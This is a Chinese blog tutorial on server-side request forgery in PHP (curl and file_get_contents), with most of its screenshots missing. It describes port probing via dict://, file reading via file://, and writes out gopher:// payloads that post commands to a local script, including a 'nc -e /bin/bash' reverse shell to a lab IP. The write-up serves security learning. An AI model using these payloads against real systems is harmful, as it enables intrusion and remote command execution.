初探SSRF

Curl_init导致SSRF:

关于开启php的curl扩展:

初探SSRF

打开配置文件,开启curl扩展:

初探SSRF

SSRF代码:

初探SSRF

关于curl中的重要参数:

参考blog:https://www.php.cn/php-weizijiaocheng-403437.html

首先展示一下效果图:

初探SSRF

 

  1. 使用dict协议查看端口信息:

如果端口打开,会返回端口对应服务的banner信息

初探SSRF

初探SSRF

  1. 利用file协议读取文件:

初探SSRF

  1. 利用gopher协议:

初探SSRF

初探SSRF

关于gopher协议的一些研究:

Gopher协议格式:URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

先做几个研究:首先发一个gopher包,利用nc接收:

初探SSRF

初探SSRF

可以发现数据已经换行了,而且h没有打印出来,被吞掉了。,因此一般都先输入一个垃圾字符:

 

初探SSRF

初探SSRF

通过上面还可以看到,%0a被gopher协议解释成换行符,另外通过浏览器发送数据包时要将%编码。

 

通过gopher协议发送http请求:

首先要进行的便是两种协议格式之间的转换:http协议一般用\r\n作为结束符,而gopher一般使用%0d%0a,所以要先将格式转换:

初探SSRF

初探SSRF

完整的:

POST /sys.php HTTP/1.1%0d%0aHost: 192.168.135.130%0d%0aUser-Agent: Mozilla/5.0 (Android 10; Mobile; rv:74.0) Gecko/74.0 Firefox/74.0%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: 10%0d%0a%0d%0ae=ifconfig

 

构造gopher协议的URL:

gopher://127.0.0.1:80/_POST /sys.php HTTP/1.1%0d%0aHost: 192.168.135.130%0d%0aUser-Agent: Mozilla/5.0 (Android 10; Mobile; rv:74.0) Gecko/74.0 Firefox/74.0%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: 10%0d%0a%0d%0ae=ifconfig

 

通过SSRF漏洞发送:记得进行一次urlencode编码

初探SSRF

尝试反弹shell:注意要重新进行字符的替换,不然一直请求失败

gopher://127.0.0.1:80/_POST /sys.php HTTP/1.1%0d%0aHost: 192.168.135.130%0d%0aUser-Agent: Mozilla/5.0 (Android 10; Mobile; rv:74.0) Gecko/74.0 Firefox/74.0%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: 36%0d%0a%0d%0ae=nc -e /bin/bash 192.168.135.1 4444

初探SSRF

 

初探SSRF

 

参考blog:https://blog.chaitin.cn/gopher-attack-surfaces/  

                     https://blog.****.net/qq_41107295/article/details/103026470

 

 

 

file_get_content造成的SSRF:代码

初探SSRF

效果:

初探SSRF

 

 

初探SSRF

测试发现dict协议和gopher协议失效了。

 

第三种:利用php套接字模拟发送http请求:

初探SSRF